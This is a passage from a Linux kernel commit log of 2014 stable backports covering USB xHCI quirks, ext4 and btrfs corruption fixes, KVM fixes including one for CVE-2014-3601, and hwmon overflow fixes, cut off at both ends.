25 16:15:35 2014 -0700 ARM: OMAP2+: hwmod: Rearm wake-up interrupts for DT when MUSB is idled commit cc824534d4fef0e46e4486d5c1e10d3c6b1ebadc upstream. Looks like MUSB cable removal can cause wake-up interrupts to stop working for device tree based booting at least for UART3 even as nothing is dynamically remuxed. This can be fixed by calling reconfigure_io_chain() for device tree based booting in hwmod code. Note that we already do that for legacy booting if the legacy mux is configured. My guess is that this is related to UART3 and MUSB ULPI hsusb0_data0 and hsusb0_data1 support for Carkit mode that somehow affect the configured IO chain for UART3 and require rearming the wake-up interrupts. In general, for device tree based booting, pinctrl-single calls the rearm hook that in turn calls reconfigure_io_chain so calling reconfigure_io_chain should not be needed from the hwmod code for other events. So let's limit the hwmod rearming of iochain only to HWMOD_FORCE_MSTANDBY where MUSB is currently the only user of it. If we see other devices needing similar changes we can add more checks for it. Cc: Paul Walmsley Signed-off-by: Tony Lindgren Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 313025a5e132f24e1ff8757a2a9d61686f906154 Author: Huang Rui Date: Tue Aug 19 15:17:57 2014 +0300 usb: xhci: amd chipset also needs short TX quirk commit 2597fe99bb0259387111d0431691f5daac84f5a5 upstream. AMD xHC also needs short tx quirk after tested on most of chipset generations. That's because there is the same incorrect behavior like Fresco Logic host. Please see below message with on USB webcam attached on xHC host: [ 139.262944] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.266934] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.270913] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.274937] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.278914] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.282936] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.286915] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.290938] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.294913] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.298917] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? Reported-by: Arindam Nath Tested-by: Shriraj-Rai P Signed-off-by: Huang Rui Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7c383f12978f0f01c04fbca5a8a8b2816009f98 Author: Hans de Goede Date: Tue Aug 19 15:17:56 2014 +0300 xhci: Treat not finding the event_seg on COMP_STOP the same as COMP_STOP_INVAL commit 9a54886342e227433aebc9d374f8ae268a836475 upstream. When using a Renesas uPD720231 chipset usb-3 uas to sata bridge with a 120G Crucial M500 ssd, model string: Crucial_ CT120M500SSD1, together with a the integrated Intel xhci controller on a Haswell laptop: 00:14.0 USB controller [0c03]: Intel Corporation 8 Series USB xHCI HC [8086:9c31] (rev 04) The following error gets logged to dmesg: xhci error: Transfer event TRB DMA ptr not part of current TD Treating COMP_STOP the same as COMP_STOP_INVAL when no event_seg gets found fixes this. Signed-off-by: Hans de Goede Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02b3265a7c2e299f4577c1fba41db238b5548cb2 Author: Ben Hutchings Date: Mon May 19 01:03:06 2014 +0100 Staging: speakup: Update __speakup_paste_selection() tty (ab)usage to match vt commit 28a821c306889b9f2c3fff49abedc9b2c743eb73 upstream. This function is largely a duplicate of paste_selection() in drivers/tty/vt/selection.c, but with its own selection state. The speakup selection mechanism should really be merged with vt. For now, apply the changes from 'TTY: vt, fix paste_selection ldisc handling', 'tty: Make ldisc input flow control concurrency-friendly', and 'tty: Fix unsafe vt paste_selection()'. References: https://bugs.debian.org/735202 References: https://bugs.debian.org/744015 Reported-by: Paul Gevers Reported-and-tested-by: Jarek Czekalski Signed-off-by: Ben Hutchings [bwh: Backported to 3.10: - Only apply the changes from 'TTY: vt, fix paste_selection ldisc handling' - Add the same FIXME comment as vt's paste_selection() has in this version] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f19b1afa373f6db406f1a4b859c04a5cb538be6 Author: Darrick J. Wong Date: Wed Aug 27 18:40:05 2014 -0400 jbd2: fix infinite loop when recovering corrupt journal blocks commit 022eaa7517017efe4f6538750c2b59a804dc7df7 upstream. When recovering the journal, don't fall into an infinite loop if we encounter a corrupt journal block. Instead, just skip the block and return an error, which fails the mount and thus forces the user to run a full filesystem fsck. Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6acf49e4e5763d8c3769542e4f8bca29422f0bc1 Author: Alexander Usyskin Date: Tue Aug 12 18:07:57 2014 +0300 mei: nfc: fix memory leak in error path commit 8e8248b1369c97c7bb6f8bcaee1f05deeabab8ef upstream. NFC will leak buffer if send failed. Use single exit point that does the freeing Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66272252f288727b587f94e8f15fb0e02b6191e0 Author: Alexander Usyskin Date: Tue Aug 12 18:07:56 2014 +0300 mei: reset client state on queued connect request commit 73ab4232388b7a08f17c8d08141ff2099fa0b161 upstream. If connect request is queued (e.g. device in pg) set client state to initializing, thus avoid preliminary exit in wait if current state is disconnected. This is regression from: commit e4d8270e604c3202131bac607969605ac397b893 Author: Alexander Usyskin mei: set connecting state just upon connection request is sent to the fw Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7b109b80630762b76b827346aad9568a20972e34 Author: Filipe Manana Date: Sat Aug 9 21:22:27 2014 +0100 Btrfs: fix csum tree corruption, duplicate and outdated checksums commit 27b9a8122ff71a8cadfbffb9c4f0694300464f3b upstream. Under rare circumstances we can end up leaving 2 versions of a checksum for the same file extent range. The reason for this is that after calling btrfs_next_leaf we process slot 0 of the leaf it returns, instead of processing the slot set in path->slots[0]. Most of the time (by far) path->slots[0] is 0, but after btrfs_next_leaf() releases the path and before it searches for the next leaf, another task might cause a split of the next leaf, which migrates some of its keys to the leaf we were processing before calling btrfs_next_leaf(). In this case btrfs_next_leaf() returns again the same leaf but with path->slots[0] having a slot number corresponding to the first new key it got, that is, a slot number that didn't exist before calling btrfs_next_leaf(), as the leaf now has more keys than it had before. So we must really process the returned leaf starting at path->slots[0] always, as it isn't always 0, and the key at slot 0 can have an offset much lower than our search offset/bytenr. For example, consider the following scenario, where we have: sums->bytenr: 40157184, sums->len: 16384, sums end: 40173568 four 4kb file data blocks with offsets 40157184, 40161280, 40165376, 40169472 Leaf N: slot = 0 slot = btrfs_header_nritems() - 1 |-------------------------------------------------------------------| | [(CSUM CSUM 39239680), size 8] ... [(CSUM CSUM 40116224), size 4] | |-------------------------------------------------------------------| Leaf N + 1: slot = 0 slot = btrfs_header_nritems() - 1 |--------------------------------------------------------------------| | [(CSUM CSUM 40161280), size 32] ... [((CSUM CSUM 40615936), size 8 | |--------------------------------------------------------------------| Because we are at the last slot of leaf N, we call btrfs_next_leaf() to find the next highest key, which releases the current path and then searches for that next key. However after releasing the path and before finding that next key, the item at slot 0 of leaf N + 1 gets moved to leaf N, due to a call to ctree.c:push_leaf_left() (via ctree.c:split_leaf()), and therefore btrfs_next_leaf() will returns us a path again with leaf N but with the slot pointing to its new last key (CSUM CSUM 40161280). This new version of leaf N is then: slot = 0 slot = btrfs_header_nritems() - 2 slot = btrfs_header_nritems() - 1 |----------------------------------------------------------------------------------------------------| | [(CSUM CSUM 39239680), size 8] ... [(CSUM CSUM 40116224), size 4] [(CSUM CSUM 40161280), size 32] | |----------------------------------------------------------------------------------------------------| And incorrecly using slot 0, makes us set next_offset to 39239680 and we jump into the "insert:" label, which will set tmp to: tmp = min((sums->len - total_bytes) >> blocksize_bits, (next_offset - file_key.offset) >> blocksize_bits) = min((16384 - 0) >> 12, (39239680 - 40157184) >> 12) = min(4, (u64)-917504 = 18446744073708634112 >> 12) = 4 and ins_size = csum_size * tmp = 4 * 4 = 16 bytes. In other words, we insert a new csum item in the tree with key (CSUM_OBJECTID CSUM_KEY 40157184 = sums->bytenr) that contains the checksums for all the data (4 blocks of 4096 bytes each = sums->len). Which is wrong, because the item with key (CSUM CSUM 40161280) (the one that was moved from leaf N + 1 to the end of leaf N) contains the old checksums of the last 12288 bytes of our data and won't get those old checksums removed. So this leaves us 2 different checksums for 3 4kb blocks of data in the tree, and breaks the logical rule: Key_N+1.offset >= Key_N.offset + length_of_data_its_checksums_cover An obvious bad effect of this is that a subsequent csum tree lookup to get the checksum of any of the blocks with logical offset of 40161280, 40165376 or 40169472 (the last 3 4kb blocks of file data), will get the old checksums. Signed-off-by: Filipe Manana Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 97958fc255eaa03fbee06273402031ef83511cdd Author: Stephen M. Cameron Date: Thu Jul 3 10:18:03 2014 -0500 hpsa: fix bad -ENOMEM return value in hpsa_big_passthru_ioctl commit 0758f4f732b08b6ef07f2e5f735655cf69fea477 upstream. When copy_from_user fails, return -EFAULT, not -ENOMEM Signed-off-by: Stephen M. Cameron Reported-by: Robert Elliott Reviewed-by: Joe Handzik Reviewed-by: Scott Teel Reviewed by: Mike MIller Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e0347f0ad092503172d88b7aa1704b3dd853234d Author: Matt Fleming Date: Fri Jul 11 08:45:25 2014 +0100 x86/efi: Enforce CONFIG_RELOCATABLE for EFI boot stub commit 7b2a583afb4ab894f78bc0f8bd136e96b6499a7e upstream. Without CONFIG_RELOCATABLE the early boot code will decompress the kernel to LOAD_PHYSICAL_ADDR. While this may have been fine in the BIOS days, that isn't going to fly with UEFI since parts of the firmware code/data may be located at LOAD_PHYSICAL_ADDR. Straying outside of the bounds of the regions we've explicitly requested from the firmware will cause all sorts of trouble. Bruno reports that his machine resets while trying to decompress the kernel image. We already go to great pains to ensure the kernel is loaded into a suitably aligned buffer, it's just that the address isn't necessarily LOAD_PHYSICAL_ADDR, because we can't guarantee that address isn't in-use by the firmware. Explicitly enforce CONFIG_RELOCATABLE for the EFI boot stub, so that we can load the kernel at any address with the correct alignment. Reported-by: Bruno Prémont Tested-by: Bruno Prémont Cc: H. Peter Anvin Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb4e90da30f68bb12d92982974d6ec2c7ad4bc84 Author: Andy Lutomirski Date: Fri Jul 25 16:30:27 2014 -0700 x86_64/vsyscall: Fix warn_bad_vsyscall log output commit 53b884ac3745353de220d92ef792515c3ae692f0 upstream. This commit in Linux 3.6: commit c767a54ba0657e52e6edaa97cbe0b0a8bf1c1655 Author: Joe Perches Date: Mon May 21 19:50:07 2012 -0700 x86/debug: Add KERN_ to bare printks, convert printks to pr_ caused warn_bad_vsyscall to output garbage in the middle of the line. Revert the bad part of it. The printk in question isn't actually bare; the level is "%s". The bug this fixes is purely cosmetic; backports are optional. Signed-off-by: Andy Lutomirski Link: http://lkml.kernel.org/r/03eac1f24110bbe496ecc12a4df467e0d88466d4.1406330947.git.luto@amacapital.net Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c21ac1845be48dabfbe8f89e710e5569d610402e Author: Christoph Schulz Date: Wed Jul 16 10:00:57 2014 +0200 x86: don't exclude low BIOS area when allocating address space for non-PCI cards commit cbace46a9710a480cae51e4611697df5de41713e upstream. Commit 30919b0bf356 ("x86: avoid low BIOS area when allocating address space") moved the test for resource allocations that fall within the first 1MB of address space from the PCI-specific path to a generic path, such that all resource allocations will avoid this area. However, this breaks ISA cards which need to allocate a memory region within the first 1MB. An example is the i82365 PCMCIA controller and derivatives like the Ricoh RF5C296/396 which map part of the PCMCIA socket memory address space into the first 1MB of system memory address space. They do not work anymore as no usable memory region exists due to this change: Intel ISA PCIC probe: Ricoh RF5C296/396 ISA-to-PCMCIA at port 0x3e0 ofs 0x00, 2 sockets host opts [0]: none host opts [1]: none ISA irqs (scanned) = 3,4,5,9,10 status change on irq 10 pcmcia_socket pcmcia_socket1: pccard: PCMCIA card inserted into slot 1 pcmcia_socket pcmcia_socket0: cs: IO port probe 0xc00-0xcff: excluding 0xcf8-0xcff pcmcia_socket pcmcia_socket0: cs: IO port probe 0xa00-0xaff: clean. pcmcia_socket pcmcia_socket0: cs: IO port probe 0x100-0x3ff: excluding 0x170-0x177 0x1f0-0x1f7 0x2f8-0x2ff 0x370-0x37f 0x3c0-0x3e7 0x3f0-0x3ff pcmcia_socket pcmcia_socket0: cs: memory probe 0x0a0000-0x0affff: excluding 0xa0000-0xaffff pcmcia_socket pcmcia_socket0: cs: memory probe 0x0b0000-0x0bffff: excluding 0xb0000-0xbffff pcmcia_socket pcmcia_socket0: cs: memory probe 0x0c0000-0x0cffff: excluding 0xc0000-0xcbfff pcmcia_socket pcmcia_socket0: cs: memory probe 0x0d0000-0x0dffff: clean. pcmcia_socket pcmcia_socket0: cs: memory probe 0x0e0000-0x0effff: clean. pcmcia_socket pcmcia_socket0: cs: memory probe 0x60000000-0x60ffffff: clean. pcmcia_socket pcmcia_socket0: cs: memory probe 0xa0000000-0xa0ffffff: clean. pcmcia_socket pcmcia_socket1: cs: IO port probe 0xc00-0xcff: excluding 0xcf8-0xcff pcmcia_socket pcmcia_socket1: cs: IO port probe 0xa00-0xaff: clean. pcmcia_socket pcmcia_socket1: cs: IO port probe 0x100-0x3ff: excluding 0x170-0x177 0x1f0-0x1f7 0x2f8-0x2ff 0x370-0x37f 0x3c0-0x3e7 0x3f0-0x3ff pcmcia_socket pcmcia_socket1: cs: memory probe 0x0a0000-0x0affff: excluding 0xa0000-0xaffff pcmcia_socket pcmcia_socket1: cs: memory probe 0x0b0000-0x0bffff: excluding 0xb0000-0xbffff pcmcia_socket pcmcia_socket1: cs: memory probe 0x0c0000-0x0cffff: excluding 0xc0000-0xcbfff pcmcia_socket pcmcia_socket1: cs: memory probe 0x0d0000-0x0dffff: clean. pcmcia_socket pcmcia_socket1: cs: memory probe 0x0e0000-0x0effff: clean. pcmcia_socket pcmcia_socket1: cs: memory probe 0x60000000-0x60ffffff: clean. pcmcia_socket pcmcia_socket1: cs: memory probe 0xa0000000-0xa0ffffff: clean. pcmcia_socket pcmcia_socket1: cs: memory probe 0x0cc000-0x0effff: excluding 0xe0000-0xeffff pcmcia_socket pcmcia_socket1: cs: unable to map card memory! If filtering out the first 1MB is reverted, everything works as expected. Tested-by: Robert Resch Signed-off-by: Christoph Schulz Signed-off-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0934d8f791ff42446a234076a8f7d9618025d792 Author: Alex Deucher Date: Thu Aug 21 10:55:07 2014 -0400 drm/radeon: add additional SI pci ids commit 37dbeab788a8f23fd946c0be083e5484d6f929a1 upstream. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1d55328698081f8decd0b844a4c3812325d4e57c Author: Theodore Ts'o Date: Sat Aug 23 17:47:28 2014 -0400 ext4: fix BUG_ON in mb_free_blocks() commit c99d1e6e83b06744c75d9f5e491ed495a7086b7b upstream. If we suffer a block allocation failure (for example due to a memory allocation failure), it's possible that we will call ext4_discard_allocated_blocks() before we've actually allocated any blocks. In that case, fe_len and fe_start in ac->ac_f_ex will still be zero, and this will result in mb_free_blocks(inode, e4b, 0, 0) triggering the BUG_ON on mb_free_blocks(): BUG_ON(last >= (sb->s_blocksize << 3)); Fix this by bailing out of ext4_discard_allocated_blocks() if fs_len is zero. Also fix a missing ext4_mb_unload_buddy() call in ext4_discard_allocated_blocks(). Google-Bug-Id: 16844242 Fixes: 86f0afd463215fc3e58020493482faa4ac3a4d69 Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb567c2bc7c0648d72d31c18308c3ea69471f059 Author: Michael S. Tsirkin Date: Tue Aug 19 19:14:50 2014 +0800 kvm: iommu: fix the third parameter of kvm_iommu_put_pages (CVE-2014-3601) commit 350b8bdd689cd2ab2c67c8a86a0be86cfa0751a7 upstream. The third parameter of kvm_iommu_put_pages is wrong, It should be 'gfn - slot->base_gfn'. By making gfn very large, malicious guest or userspace can cause kvm to go to this error path, and subsequently to pass a huge value as size. Alternatively if gfn is small, then pages would be pinned but never unpinned, causing host memory leak and local DOS. Passing a reasonable but large value could be the most dangerous case, because it would unpin a page that should have stayed pinned, and thus allow the device to DMA into arbitrary memory. However, this cannot happen because of the condition that can trigger the error: - out of memory (where you can't allocate even a single page) should not be possible for the attacker to trigger - when exceeding the iommu's address space, guest pages after gfn will also exceed the iommu's address space, and inside kvm_iommu_put_pages() the iommu_iova_to_phys() will fail. The page thus would not be unpinned at all. Reported-by: Jack Morgenstein Signed-off-by: Michael S. Tsirkin Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f78ef8833a5ba6a4becc1ed255bd5e7443bb24e9 Author: Paolo Bonzini Date: Mon Aug 18 16:39:48 2014 +0200 Revert "KVM: x86: Increase the number of fixed MTRR regs to 10" commit 0d234daf7e0a3290a3a20c8087eefbd6335a5bd4 upstream. This reverts commit 682367c494869008eb89ef733f196e99415ae862, which causes 32-bit SMP Windows 7 guests to panic. SeaBIOS has a limit on the number of MTRRs that it can handle, and this patch exceeded the limit. Better revert it. Thanks to Nadav Amit for debugging the cause. Reported-by: Wanpeng Li Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9966224a69c720e90f05fa8aabb12bf928631c28 Author: Wanpeng Li Date: Tue Aug 5 12:42:24 2014 +0800 KVM: nVMX: fix "acknowledge interrupt on exit" when APICv is in use commit 56cc2406d68c0f09505c389e276f27a99f495cbd upstream. After commit 77b0f5d (KVM: nVMX: Ack and write vector info to intr_info if L1 asks us to), "Acknowledge interrupt on exit" behavior can be emulated. To do so, KVM will ask the APIC for the interrupt vector if during a nested vmexit if VM_EXIT_ACK_INTR_ON_EXIT is set. With APICv, kvm_get_apic_interrupt would return -1 and give the following WARNING: Call Trace: [] dump_stack+0x49/0x5e [] warn_slowpath_common+0x7c/0x96 [] ? nested_vmx_vmexit+0xa4/0x233 [kvm_intel] [] warn_slowpath_null+0x15/0x17 [] nested_vmx_vmexit+0xa4/0x233 [kvm_intel] [] ? nested_vmx_exit_handled+0x6a/0x39e [kvm_intel] [] ? kvm_apic_has_interrupt+0x80/0xd5 [kvm] [] vmx_check_nested_events+0xc3/0xd3 [kvm_intel] [] inject_pending_event+0xd0/0x16e [kvm] [] vcpu_enter_guest+0x319/0x704 [kvm] To fix this, we cannot rely on the processor's virtual interrupt delivery, because "acknowledge interrupt on exit" must only update the virtual ISR/PPR/IRR registers (and SVI, which is just a cache of the virtual ISR) but it should not deliver the interrupt through the IDT. Thus, KVM has to deliver the interrupt "by hand", similar to the treatment of EOI in commit fc57ac2c9ca8 (KVM: lapic: sync highest ISR to hardware apic on EOI, 2014-05-14). The patch modifies kvm_cpu_get_interrupt to always acknowledge an interrupt; there are only two callers, and the other is not affected because it is never reached with kvm_apic_vid_enabled() == true. Then it modifies apic_set_isr and apic_clear_irr to update SVI and RVI in addition to the registers. Suggested-by: Paolo Bonzini Suggested-by: "Zhang, Yang Z" Tested-by: Liu, RongrongX Tested-by: Felipe Reyes Fixes: 77b0f5d67ff2781f36831cba79674c3e97bd7acf Signed-off-by: Wanpeng Li Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7368d2b8f0c4d17333529118c6eadd4a57e754a Author: Paolo Bonzini Date: Wed Jul 30 18:07:24 2014 +0200 KVM: x86: always exit on EOIs for interrupts listed in the IOAPIC redir table commit 0f6c0a740b7d3e1f3697395922d674000f83d060 upstream. Currently, the EOI exit bitmap (used for APICv) does not include interrupts that are masked. However, this can cause a bug that manifests as an interrupt storm inside the guest. Alex Williamson reported the bug and is the one who really debugged this; I only wrote the patch. :) The scenario involves a multi-function PCI device with OHCI and EHCI USB functions and an audio function, all assigned to the guest, where both USB functions use legacy INTx interrupts. As soon as the guest boots, interrupts for these devices turn into an interrupt storm in the guest; the host does not see the interrupt storm. Basically the EOI path does not work, and the guest continues to see the interrupt over and over, even after it attempts to mask it at the APIC. The bug is only visible with older kernels (RHEL6.5, based on 2.6.32 with not many changes in the area of APIC/IOAPIC handling). Alex then tried forcing bit 59 (corresponding to the USB functions' IRQ) on in the eoi_exit_bitmap and TMR, and things then work. What happens is that VFIO asserts IRQ11, then KVM recomputes the EOI exit bitmap. It does not have set bit 59 because the RTE was masked, so the IOAPIC never sees the EOI and the interrupt continues to fire in the guest. My guess was that the guest is masking the interrupt in the redirection table in the interrupt routine, i.e. while the interrupt is set in a LAPIC's ISR, The simplest fix is to ignore the masking state, we would rather have an unnecessary exit rather than a missed IRQ ACK and anyway IOAPIC interrupts are not as performance-sensitive as for example MSIs. Alex tested this patch and it fixed his bug. [Thanks to Alex for his precise description of the problem and initial debugging effort. A lot of the text above is based on emails exchanged with him.] Reported-by: Alex Williamson Tested-by: Alex Williamson Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f31dba2207a9a7b8b18da674d36eb73bd3a2f4a4 Author: Nadav Amit Date: Sun Jun 15 16:12:59 2014 +0300 KVM: x86: Inter-privilege level ret emulation is not implemeneted commit 9e8919ae793f4edfaa29694a70f71a515ae9942a upstream. Return unhandlable error on inter-privilege level ret instruction. This is since the current emulation does not check the privilege level correctly when loading the CS, and does not pop RSP/SS as needed. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fea2454bab055cb3fb34ae04752bfb748c803bd6 Author: Arnd Bergmann Date: Thu Jun 26 13:43:02 2014 +0200 crypto: ux500 - make interrupt mode plausible commit e1f8859ee265fc89bd21b4dca79e8e983a044892 upstream. The interrupt handler in the ux500 crypto driver has an obviously incorrect way to access the data buffer, which for a while has caused this build warning: ../ux500/cryp/cryp_core.c: In function 'cryp_interrupt_handler': ../ux500/cryp/cryp_core.c:234:5: warning: passing argument 1 of '__fswab32' makes integer from pointer without a cast [enabled by default] writel_relaxed(ctx->indata, ^ In file included from ../include/linux/swab.h:4:0, from ../include/uapi/linux/byteorder/big_endian.h:12, from ../include/linux/byteorder/big_endian.h:4, from ../arch/arm/include/uapi/asm/byteorder.h:19, from ../include/asm-generic/bitops/le.h:5, from ../arch/arm/include/asm/bitops.h:340, from ../include/linux/bitops.h:33, from ../include/linux/kernel.h:10, from ../include/linux/clk.h:16, from ../drivers/crypto/ux500/cryp/cryp_core.c:12: ../include/uapi/linux/swab.h:57:119: note: expected '__u32' but argument is of type 'const u8 *' static inline __attribute_const__ __u32 __fswab32(__u32 val) There are at least two, possibly three problems here: a) when writing into the FIFO, we copy the pointer rather than the actual data we want to give to the hardware b) the data pointer is an array of 8-bit values, while the FIFO is 32-bit wide, so both the read and write access fail to do a proper type conversion c) This seems incorrect for big-endian kernels, on which we need to byte-swap any register access, but not normally FIFO accesses, at least the DMA case doesn't do it either. This converts the bogus loop to use the same readsl/writesl pair that we use for the two other modes (DMA and polling). This is more efficient and consistent, and probably correct for endianess. The bug has existed since the driver was first merged, and was probably never detected because nobody tried to use interrupt mode. It might make sense to backport this fix to stable kernels, depending on how the crypto maintainers feel about that. Signed-off-by: Arnd Bergmann Cc: linux-crypto@vger.kernel.org Cc: Fabio Baltieri Cc: Linus Walleij Cc: Herbert Xu Cc: "David S. Miller" Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 77f85eb6b9d4e9800704c7c195b1e19ba84821c2 Author: Peter Hurley Date: Wed Jul 9 09:21:14 2014 -0400 serial: core: Preserve termios c_cflag for console resume commit ae84db9661cafc63d179e1d985a2c5b841ff0ac4 upstream. When a tty is opened for the serial console, the termios c_cflag settings are inherited from the console line settings. However, if the tty is subsequently closed, the termios settings are lost. This results in a garbled console if the console is later suspended and resumed. Preserve the termios c_cflag for the serial console when the tty is shutdown; this reflects the most recent line settings. Fixes: Bugzilla #69751, 'serial console does not wake from S3' Reported-by: Valerio Vanni Acked-by: Alan Cox Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 17f82a990063616f57024f3a60c4bfbccf977fae Author: Theodore Ts'o Date: Wed Jul 30 22:17:17 2014 -0400 ext4: fix ext4_discard_allocated_blocks() if we can't allocate the pa struct commit 86f0afd463215fc3e58020493482faa4ac3a4d69 upstream. If there is a failure while allocating the preallocation structure, a number of blocks can end up getting marked in the in-memory buddy bitmap, and then not getting released. This can result in the following corruption getting reported by the kernel: EXT4-fs error (device sda3): ext4_mb_generate_buddy:758: group 1126, 12793 clusters in bitmap, 12729 in gd In that case, we need to release the blocks using mb_free_blocks(). Tested: fs smoke test; also demonstrated that with injected errors, the file system is no longer getting corrupted Google-Bug-Id: 16657874 Signed-off-by: "Theodore Ts'o" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9dd4cf685391546ab6c9dda097d8ac9494ffb34d Author: Wolfram Sang Date: Mon Jul 21 11:42:03 2014 +0200 drivers/i2c/busses: use correct type for dma_map/unmap commit 28772ac8711e4d7268c06e765887dd8cb6924f98 upstream. dma_{un}map_* uses 'enum dma_data_direction' not 'enum dma_transfer_direction'. Signed-off-by: Wolfram Sang Acked-by: Ludovic Desroches Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 61a4c0fce7e56a8975ebae648617a0b7bf7181f8 Author: Axel Lin Date: Wed Aug 6 08:02:44 2014 +0800 hwmon: (dme1737) Prevent overflow problem when writing large limits commit d58e47d787c09fe5c61af3c6ce7d784762f29c3d upstream. On platforms with sizeof(int) < sizeof(long), writing a temperature limit larger than MAXINT will result in unpredictable limit values written to the chip. Avoid auto-conversion from long to int to fix the problem. Voltage limits, fan minimum speed, pwm frequency, pwm ramp rate, and other attributes have the same problem, fix them as well. Zone temperature limits are signed, but were cached as u8, causing unepected values to be reported for negative temperatures. Cache as s8 to fix the problem. vrm is an u8, so the written value needs to be limited to [0, 255]. Signed-off-by: Axel Lin [Guenter Roeck: Fix zone temperature cache] Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c8056976616c26856b252bd112266c2674a76504 Author: Axel Lin Date: Tue Aug 5 09:59:49 2014 +0800 hwmon: (ads1015) Fix out-of-bounds array access commit e981429557cbe10c780fab1c1a237cb832757652 upstream. Current code uses data_rate as array index in ads1015_read_adc() and uses pga as array index in ads1015_reg_to_mv, so we must make sure both data_rate and pga settings are in valid value range. Return -EINVAL if the setting is out-of-range. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cabfac5ca4cc74a798150149cbdd1e4f968e645 Author: Guenter Roeck Date: Tue Jul 29 22:23:12 2014 -0700 hwmon: (lm85) Fix various errors on attribute writes commit 3248c3b771ddd9d31695da17ba350eb6e1b80a53 upstream. Temperature limit register writes did not account for negative numbers. As a result, writing -127000 resulted in -126000 written into the temperature limit register. This problem affected temp[1-3]_min, temp[1-3]_max, temp[1-3]_auto_temp_crit, and temp[1-3]_auto_temp_min. When writing pwm[1-3]_freq, a long variable was auto-converted into an int without range check. Wiring values larger than MAXINT resulted in unexpected register values. When writing temp[1-3]_auto_temp_max, an unsigned long variable was auto-converted into an int without range check. Writing values larger than MAXINT resulted in unexpected register values. vrm is an u8, so the written value needs to be limited to [0, 255]. Cc: Axel Lin Reviewed-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d1ecc4f4290bc6ad3915be07ec2e165bc5c5ec5 Author: Axel Lin Date: Wed Jul 30 11:13:52 2014 +0800 hwmon: (ads1015) Fix off-by-one for valid channel index checking commit 56de1377ad92f72ee4e5cb0faf7a9b6048fdf0bf upstream. Current code uses channel as array index, so the valid channel value is 0 .. ADS1015_CHANNELS - 1. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e90f0f1ea60da1fe625078c90a30f35f75bb9ef7 Author: Axel Lin Date: Sat Aug 2 13:36:38 2014 +0800 hwmon: (gpio-fan) Prevent overflow problem when writing large limits commit 2565fb05d1e9fc0831f7b1c083bcfcb1cba1f020 upstream. On platforms with sizeof(int) < sizeof(unsigned long), writing a rpm value larger than MAXINT will result in unpredictable limit values written to the chip. Avoid auto-conversion from unsigned long to int to fix the problem. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 549373d76a2193749a497d5ae723002bd5d25fd2 Author: Guenter Roeck Date: Tue Jul 29 20:48:59 2014 -0700 hwmon: (lm78) Fix overflow problems seen when writing large temperature limits commit 